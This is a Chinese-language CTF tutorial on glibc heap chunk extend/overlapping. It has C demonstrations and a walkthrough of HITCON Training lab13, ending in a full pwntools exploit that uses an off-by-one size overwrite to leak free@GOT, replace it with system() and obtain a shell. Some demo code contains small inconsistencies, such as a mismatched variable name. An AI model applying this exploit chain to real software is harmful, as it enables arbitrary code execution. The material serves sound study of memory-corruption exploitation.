这是进入堆领域的第二个知识点,Chunk Extend/Overlapping。不知道正在看这篇文章的你有没有一些拓展的思想,在了解堆的基础知识后有没有自己想过在堆中可能存在问题的点。我们可能从做第一道pwn题开始就知道要溢出、要泄露、要拿flag、拿shell,在知道了这些技巧之后看到shell这道题就过去了,可能也没想过为什么会这样,往往这些我们不在乎的东西才是同比场景的方法和思路
编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks(・ω・)ノ
Chunk Extend and Overlapping
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:
- 程序中存在基于堆的漏洞
- 漏洞可以控制 chunk header 中的数据
基本示例 1:对 inuse 的 fastbin 进行 extend
1 //gcc -g test1.c -o test
2 #include<stdio.h>
3 int main(void)
4 {
5 void *hollk, *hollkr1;
6 hollk = malloc(0x10);//分配第一个0x10的chunk
7 malloc(0x10);//分配第二个0x10的chunk
8 *(long long *)((long long)hollk - 0x8) = 0x41;// 修改第一个块的size域
9 free(hollk);
10 hollk1 = malloc(0x30);// 实现extend,控制了第二个块的内容
11 return 0;
12 }
因为在编译阶段我们使用了“-g”参数,可以使用gdb在任意行下断点b + 行号
。首先在第8行下断点,我们看一下完成两次堆分配之后在内存中的布局:
因为堆块的结构分为prev_size、size、块内容,拿上面这个64位程序举例:malloc(0x10)
其中的0x10指得是内容部分申请0x10大小的空间,,prev_size和size部分各占8个字节,size记录的是整个堆块的大小,并且size的最后一位用来记录前一个块的状态,所以
size = 0x8(prev_size) + 0x8(size) + 0x10(内容) + 0x1(标志位) = 0x21
可以看到第一个申请的0x10的chunk1在0x555555758000位置,size为0x21。第二个申请的0x10的chunk2在0x555555758020的位置,size为0x21。接下来我们在第9行下断点b 9
执行*(long long *)((long long)hollk - 0x8) = 0x41
,依然还是在这个位置看两个块有什么变化:
*(long long *)((long long)hollk - 0x8) = 0x41
,这段代码的意思是将,chunk1地址减0x8的位置修改成0x41,也就是说chunk1的size从0x21被修改成0x41。这一改不要紧,chunk1倒是乐呵了,自己的空间变大了 。但是chunk2就遭殃了,因为chunk1延展的空间正好是chunk2的空间,chunk2被chunk1包含占有了。接下来我们把断点下在第10行b 10
:
在执行完free(hollk);
这段代码之后chunk1被释放,可以看到chunk1和chunk2被合并成一个0x40的chunk放进fastbin中。最后我们重新申请一个大小为0x30的chunk时,fastbin中刚好有合适的大小块,这个时候chunk1与chunk2合并的chunk就会重新被启用,启用的同时原有chunk2中的内容也会连带着被启用,这个时候就可以直接通过这个新申请的块来对chunk2中的内容进行操作了
基本示例 2:对 inuse 的 smallbin 进行 extend
1 //gcc -g test2.c -o test2
2 #include<stdio.h>
3 int main()
4 {
5 void *hollk, *hollk1;
6 hollk = malloc(0x80);//分配第一个 0x80 的chunk1
7 malloc(0x10); //分配第二个 0x10 的chunk2
8 malloc(0x10); //防止与top chunk合并
9 *(long *)((long)hollk-0x8) = 0xb1;
10 free(hollk);
11 hollk1 = malloc(0xa0);
12}
首先在第9行下断点b 9
,我们看一下申请完三个chunk之后内存中的样子:
接下来我们在第10行下断点,执行*(int *)((int)hollk-0x8) = 0xb1;
这段代码:
和前面的例子一样,*(int *)((int)hollk-0x8) = 0xb1;
这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1:
这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的
基本示例 3:对 free 的 smallbin 进行 extend
1 //gcc -g test3 -o test3
2 #include<stdio.h>
3 int main()
4 {
5 void *hollk, *hollk1;
6 hollk = malloc(0x80);//分配第一个0x80的chunk1
7 malloc(0x10);//分配第二个0x10的chunk2
8 free(hollk);//首先进行释放,使得chunk1进入unsorted bin
9 *(long *)((long)hollk - 0x8) = 0xb1;
10 hollk1 = malloc(0xa0);
11}
第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作:
接下来我们在第9行下断点,使程序完成对chunk1的释放:
没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的:
在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制
基本示例 4:通过 extend 后向 overlapping
这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。
//gcc -g test4.c -o test4
#include<stdio.h>
int main()
{
void *hollk, *hollk1;
hollk = malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(long *)((long)hollk - 0x8) = 0x61;
free(hollk);
hollk1 = malloc(0x50);
}
在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack
基本示例 5:通过 extend 前向 overlapping
这里展示通过修改 pre_inuse 域和 pre_size 域实现合并前面的块
//gcc -g test5.c -o test
#include<stdio.h>
int main(void)
{
void *hollk1, *hollk2, *hollk3, *hollk4;
hollk1 = malloc(128);//smallbin1
hollk2 = malloc(0x10);//fastbin1
hollk3 = malloc(0x10);//fastbin2
hollk4 = malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(hollk1);
*(int *)((long long)hollk4 - 0x8) = 0x90;//修改pre_inuse域
*(int *)((long long)hollk4 - 0x10) = 0xd0;//修改pre_size域
free(hollk4);//unlink进行前向extend
malloc(0x150);//占位块
}
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping
例题
题目选自:HITCON Trainging lab13
查看保护机制
64位程序,开启了canary保护和NX保护
程序流程
由于这道题给了源码,所以在分析的时候可以对照着源码进行解读:
主界面
首先我们看整个程序的起始部分,左面是源码,对应着右面的执行界面,这是个类似于堆管理器的程序。先看左面源代码部分,menu()函数是一个输出界面字符串的功能,就是右面展示的部分,接下来的基本意思就是从shell界面接收数字,通过switch进行判断输入的内容,并且对应的执行那个函数。可以看到当输入为1时,执行create_heap()函数完成创建堆功能。当输入为2时,执行edit_heap()函数完成修改堆功能。当输入为3时,执行show_heap()函数完成打印堆功能。当输入为4时,执行delete_heap()函数完成删除堆功能。当输入为5时,退出程序。接下来我们就挨个看一下各个函数都是怎么实现的
创建堆块功能
上面就是创建堆create_heap()函数的源码了,我们先看右面三幅图。右1创建了一个结构体数组heaparray[10],这个数组可以把它看做堆块的id。定义的结构体呢在右2,heap是一个自定义的结构体,其中有两个成员变量,一个是size_t的size,也就是说以64位程序来讲size这个成员变量是占8个字节的,size中记录的是申请堆块的大小。另一个是char类型的指针content,里面存放的是堆块的内容指针
好了右3先不看,接下来看左面源码部分稍作解读,首先是一个大循环,最多循环10次。然后判断结构体数组中下标对应位置是否创建了结构体,如果没有则新创建一个heap结构体。接下来判断新建结构体是否创建成功,然后提示需要输入创建的堆块大小size。结构体中的content成员变量指向了一个size大小的堆块,接着判断content是否创建成功。接着将size的值放进结构体size成员变量中,提示输入堆块中的内容并调用read_input函数(右3)。我们看一下右3传入的参数,1参为创建的堆内容的指针,2参为堆块的大小,接下来进行写操作,也就是说把我们输入的东西写进content中。这就完成了整个创建的功能
由于是先创建的heap结构体,接着紧跟着创建了内容堆块,所以这两个快也是紧紧挨在一起的。举个栗子,我们申请32个字节的堆块:
一起看一下创建功能运行起来的样子,对应着使用代码的方式完成对创建的堆的操作:
修改堆块功能
先解读一下这部分的代码吧,首先提示输入堆块的编号,就是前面创建堆功能中那个大循环的数字,因为循环是从0开始的,所以起始结构体的编号为0。接着第一个if进行编号合法性判断,第二个if判断结构体是否存在,如果存在提示输入要修改的堆块内容。再次调用read_input()函数向内容堆块中写数据,但是这个时候请注意传入read_input()函数的参数。我们将创建堆块和修改堆块两个功能中调用read_input()的情景单独比对一下:
- 创建堆块:
read_input(heaparray[i]->content,size);
- 修改堆块:
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
可以明显看到修改堆块功能的2参有变化,原有创建时仅仅写入size
个字节,但是修改时写入了size + 1
个字节,这就造成了off-by-one漏洞。假设在创建的时候我们的size大小设置为32个字节,那么重新修改的时候是可以写入33个字节的。不要小看这一个字节,它溢出覆盖的位置正好是下一个堆块的size部分!!!后面动态分析的时候会演示
一起看一下修改功能运行起来的样子,对应着使用代码的方式完成修改堆的操作:
打印堆块内容功能
这个功能就没什么好说的了,依然还是检验堆块结构体编号合法想,然后打印出选中堆块结构体中的成员变量 内容。这个功能主要用于后面的泄露部分,所以需要用代码实现接收打印的字符串,调用过程及代码实现如下:
删除堆块功能
解读一下删除功能,依然还是需要输入堆块结构体编号,并验证是否合法与是否被创建。接着调用free()函数先释放结构体中content成员变量对应的堆块,接着释放结构体。需要注意的是在释放content的时候是将内容结构体指针作为free函数的参数的
思路分析及动态调试
内存结构
我们可以先试着创建两个块,看一下在内存中的展现形式。使用GDB打开程序,输入r
命令使程序跑起来,然后调用创建功能创建两个堆块,然后ctrl + c
回到调试界面输入命令heap
查看:
左侧是我们创建的操作,右面是在已申请的堆块结构。我来教你怎么看右面的部分,回想一下前面分析源代码的时候,创建heap的流程是先用malloc为结构体申请空间,紧接着又使用malloc为结构体中的content成员变量申请空间,所以结构体chunk和content成员变量chunk必然是紧挨着的。而且由于堆是从低地址向高地址扩散的,所以低地址一定是最先被创建的chunk。因此我们通过在gdb中使用heap
命令就可以大概知道内存中的结构,由于这个程序只有创建功能使用了malloc()函数,所以右侧低地址第一个chunk就是heap1的结构体,第二个chunk是heap1_content,第三个chunk是heap2的结构体,第四个chunk是heap2_content,第五个就是top_chunk了。接下来我们使用命令x/30gx 0x603000
从第一个chunk开始查看一下它16进制的表现形式:
触发off-by-one漏洞完成Extend
可以看到两个结构体的content成员变量都指向内容chunk的data,我们回想一下在前面代码分析阶段发现修改功能存在off-by-one漏洞,那么怎么去利用呢?
- 先从浅层看这个问题,我们修改的其实是heap内容的chunk而不是结构体本身的chunk,也就是说如果我们修改heap1的内容,如果触发off-by-one的话那影响的应该是heap2的结构体
- 再从深层看这个问题,在堆中如果低地址的块处于使用状态,那么相邻高地址的块的prev_size可以作为低地址块的data来使用
把两个方面联系在一起:如果我们在申请heap_content的大小的时候范围涵盖下一个结构体的prev_size,那么在此修改heap_content的时候就会触发off-by-one漏洞,进而溢出的部分就会将相邻高地址的chunk的size给覆盖掉
我们试一下,重新使用gdb打开程序,这次我们第一个heap创建24个字节,在内容里写入24个字节的任意字符,第二个heap创建16个字节,然后ctrl + c
回到调试界面,heap
命令找到第一个chunk位置,x/20gx + 地址
查看一下:
可以看到在heap1_content输入24个字节后将heap2结构体chunk的prev_size占满了,如果我们再一次修改heap1_content,写入25个字节后就会触发off-by-one漏洞将heap2结构体chunk的size覆盖掉。我们试一下:按c
回到执行流程,修改heap1_content,写入25个字节,然后ctrl + c
回到调试界面重新定位到这个位置
可以看到原有的heap2结构体的size从0x21被覆盖成了0x6b,heap2结构体的size直接决定了heap2结构体涵盖范围的大小,这里就用到了最开始讲原理部分的内容了,即对 inuse 的 fastbin 进行 extend(如果忘记了翻到上面回顾一下)。那么既然我们可以通过这种方式改写size大小,就要好好设计一番,如果我们将size的值覆盖成0x41的话,在释放时heap2结构体chunk和heap2_content就会合并成一个0x40的块,重新申请之后就可以进一步操作了,先想好:
payload1.0 = 24个字节 + \x41
其实前面的24个字节还是可以利用起来的,在代码分析阶段我们发现在释放heap的时候首先释放的是heap_content的指针,这个指针指向的其实是heap_content的chunk中的data起始地址,这个过程是由free()函数完成的,free()函数的参数就是heap_content的data起始地址。那么如果我么想办法将free()函数替换成system()函数,并且在修改堆块内容的时候将字符串/bin/sh
放在最前面,那么/bin/sh
字符串的地址就会作为free函数的参数,即/bin/sh字符串会作为system()函数的参数,在释放这个堆块的时候就可以拿shell了!!!
payload2.0 = "/bin/sh\x00" + "hollkhollkhollkh" + "\x41"
“/bin/sh\x00"字符串在data的起始位置,“hollkhollkhollkh” 用来占位”\x41"用来覆盖下一个heap_content的size,实际操作试一下:
可以看到已经成功的部署好了/bin/sh字符串,并且将下一个heap2的size部分覆盖成了0x41。接下来的操作就和前面的原理一样了,我们需要释放掉heap2,也就是释放编号为1的heap。按c
回到执行流程删除编号为1的heap,Ctrl + c
回到调试界面输入命令bin
我们看一下释放后的堆块放在哪了:
可以看到在是防止后fastbin中已经出现了两个chunk地址了,我一开始做这道题的时候脑子蒙住了,就是想不出为什么0x20这个链表中还会有一个chunk,后来重新翻了一遍源码才想起来在释放阶段其实有两个东西被释放了
首先释放的应该是heap_content,接着释放的是heap结构体,所以会在fastbin中存在两个chunk地址。好了这不是重点,只是我做题时候的小疑惑,重点是在fastbin中0x40这条链表上挂了我们extent之后的chunk,这就证明已经成功使heap结构体chunk与heap内容chunk合并了。当我再次申请的时候就可以对被extent的chunk进行操作了
泄露free()函数真实地址
通过前面的努力我们已经完成了如下步骤:
- 将"/bin/sh"字符串部署在heap1内容chunk的data处
- 通过off-by-one漏洞完成修改heap2结构体chunk的size值
- 成功extent heap2内容chunk
前面已经提到过,我们的计划是将free()函数替换成system()函数,这样一来我们部署好的“/bin/sh”字符串就可以作为system()函数的参数了。但是这个程序本身并没有system()函数,所以就需要泄露出某一个函数的got表地址,进而通过pwntools的工具来找出libc基地址,加上偏移之后找到system()函数。那么首先第一步就是泄露,因为这个程序本身就存在free()函数,那么就直接泄露free_got了
上一步我们已经将extent的0x40大小的chunk准备好了,这一步直接在操作流程中申请0x30个字节的堆块就可以直接调用了。这里有一个点需要注意,在创建堆块的时候实际上申请的是两个chunk:
首先申请的是结构体chunk,然后申请的是内容chunk。这个已经说过很多遍了是吧,但是这里要强调的是由于结构体是自定义的,整个结构体只需要0x20个字节就够可以了,所以在申请结构体chunk的时候首先会在fastbin中查找是否有合适大小的chunk可以使用。此时fastbin的0x20链表中挂着之前释放掉的heap2结构体内容chunk,所以刚刚好0x20个字节,这0x603060
部分的空间就被启用了。接下来由于申请内容大小为0x30,所以fastbin的0x40链表中刚好有之前extent_chunk,所以0x603040
这部分的空间就被启用了。
需要注意的是:0x603060先被启用,0x603040后被启用
,这就意味着先被启用的0x20的chunk 会被0x40的chunk所覆盖!!!
我们先用之前的图讲解一下:
请注意,绿色框中的chunk先被启用,红色框中的chunk后被启用,如果在红色chunk中写东西,绿色chunk就会被覆盖。很不巧的是绿色 chunk就是新建的heap结构体chuank,红色的就是结构体内容chunk。我们看下图重新申请这段空间并且只写入少量字符串不完全覆盖时候的样子:
虽说新建0x30的heap之后结构体chunk会被覆盖,但是功能不会变。如果想要对0x30这个heap进行操作的话第一步还是得先找结构体,然后根据content成员变量去找内容chunk的data。那么这样一来我们的思路就有了,既然内容chunk可以覆盖结构体的content成员变量,那么我们将content成员变量的指针覆盖成free_got指针,然后再打印这个0x30的heap,这样一来打印的最终目的地就指向了free函数的真实地址了:
那么这样一来重新申请0x30heap的时候填写内容时payload:
payload = p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free'])
我们看一下创建之后的内存情况:
接下来回到操作流程界面,我们打印一下这个0x30的heap,free函数地址就会被打印出来了,但是在接收打印出来的内容时需要处理一下:
hollk.recvuntil("Content : ")
data = hollk.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
将free()函数替换成system()函数
在得到了free()函数地址之后就可以用我们的老方法,先找到libc基地址,再加上system()函数偏移得到system()函数地址:
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
这样一来就找到了system()函数,接下来就需要考虑的是怎么将free()函数地址替换成system()函数地址了。其实我们可以重新编辑0x30这个heap来实现对free_got中的内容:
在对内容进行修改时,依然还是修改heap结构体中content成员变量指向的free_got中的内容,所以我们再一次修改的时候就可以直接将free_got指向的free_addr修改成system_addr:
因为调用free()函数的时候程序也是去free_got指向的位置找函数地址,那么这样一来在程序调用free()函数的时候实际上调用的确实system()函数了
还记不记得之前部署在第一个heap中的"/bin/sh"字符串?字符串就是为这个时候准备的,当释放第一个heap的时候:
- 原执行流程:free(binsh_addr)
- 替换后执行流程:system(/bin/sh)
所以当我们释放第一个heap的时候就可以拿shell了!!!
EXP
from pwn import *
hollk = process('./test')
heap = ELF('./test')
libc = ELF('./libc.so.6')
def create(size, content):
hollk.recvuntil(":")
hollk.sendline("1")
hollk.recvuntil(":")
hollk.sendline(str(size))
hollk.recvuntil(":")
hollk.sendline(content)
def edit(idx, content):
hollk.recvuntil(":")
hollk.sendline("2")
hollk.recvuntil(":")
hollk.sendline(str(idx))
hollk.recvuntil(":")
hollk.sendline(content)
def show(idx):
hollk.recvuntil(":")
hollk.sendline("3")
hollk.recvuntil(":")
hollk.sendline(str(idx))
def delete(idx):
hollk.recvuntil(":")
hollk.sendline("4")
hollk.recvuntil(":")
hollk.sendline(str(idx))
create(0x18, "hollk")
create(0x10, "hollk")
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(heap.got['free']))
show(1)
hollk.recvuntil("Content : ")
data = hollk.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
gdb.attach(hollk)
delete(0)
#gdb.attach(hollk)
hollk.interactive()
执行结果如下: